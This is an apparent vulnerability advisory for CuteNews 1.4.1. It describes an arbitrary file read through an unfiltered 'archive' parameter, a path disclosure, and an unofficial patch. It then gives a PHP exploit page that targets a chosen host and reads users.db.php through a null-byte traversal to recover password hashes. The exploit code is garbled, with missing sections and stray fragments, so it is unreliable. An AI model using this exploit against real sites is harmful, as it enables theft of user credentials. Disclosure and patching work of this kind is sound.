CuteNews is "a powerful and easy for using news management system that use flat files to store its database". A vulnerability within CuteNews allows remote attackers to cause the program to return the content of arbitrary files, for example users.db.php and config.php, both containing sensitive information.
Input passed to the "archive" (POST,COOKIE,... method) parameter in "inc/function.php" isn't properly verified. This can be exploited to access arbitrary files (like users.db.php and config.php).
Vulnerable Code:
The following lines in $cutepath/inc/functions.inc.php on line 7
if( isset($_GET['archive']) and $_GET['archive'] != "" and !eregi("^[_a-zA-Z0-9-]{1,}$", $_GET['archive'])){ die("invalid archive characters"); }
You can see that CuteNews just filters:
$_GET['archive'] but they forgot $_POST['archive'], $COOKIE['archive']! and in the rest of code they user $archive instead of $_GET['archive'] !!!?
Successful exploitation requires that "register_globals" is enabled.
Path Disclosure:
In addition, if an attacker provides a filename which not exists, the application will return some information about path of CuteNews on the server, like this:
Warning:
file([PATH]/cutenews/data/archives/hamid.news.arch): failed to open stream: No such file or directory in [PATH]\cutenews\inc\shows.inc.php on line 583
Unofficial Patch:
Change in line 8 : inc/functions.inc.php
if( isset($archive) and $archive != "" and !eregi("^[_a-zA-Z0-9-]{1,}$", $archive)){ die("Patched by Hamid Ebadi -->http://hamid.ir ( Hamid Network Security Team) "); }
if( isset($_REQUEST['archive']) and $_REQUEST['archive'] != "" and !eregi("^[_a-zA-Z0-9-]{1,}$", $_REQUEST['archive'])){ die("Patched by Hamid Ebadi -->http://hamid.ir ( Hamid Network Security Team) "); }
Exploit:
<?php
// Happy NEW Iranian year .
// Happy Norouz ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script
//allow_call_time_pass_reference = on
//register_globals = On
}
-->
</style></head>
<body>
<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
<p class="Stile6">Security ? . </p>
<p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi <a href="http://www.hamid.ir" target="_blank">.: Hamid Network Security Team :.</a></p>
<p class="Stile5">Happy Norouz ( PERSIAN new year celebration ) Greetz to all Iranian Hackers spacially my friends in ihsteam.com c0d3r.org kapda.ir simorgh-ev.com hat-squad.com blacknews.ws ashiyane.com websecurity.ir crouz.com shabgard.org hackerz.ir and ...</p>
<p class="Stile6">read this paper about <a href="http://www.hamid.ir/security/" target="_blank">CuteNews 1.4.1 vulnerability</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&". "port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /cutenews/example2.php ) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">specify a file other than /../users.db.php%00 to read </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
<p class="Stile5">Spacial THX : rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a> for his great codes (i just change few lines of RGOD old NETQUERY remote commands execution exploit)</p>
</form></td>
</tr>
</table>
</body>
</html>';
if ($proxy=='')
{ $data='';
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If CuteNews 1.4.1 is unpatched and vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
}
else
{echo 'Error, see output...';}
//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;
}
?>
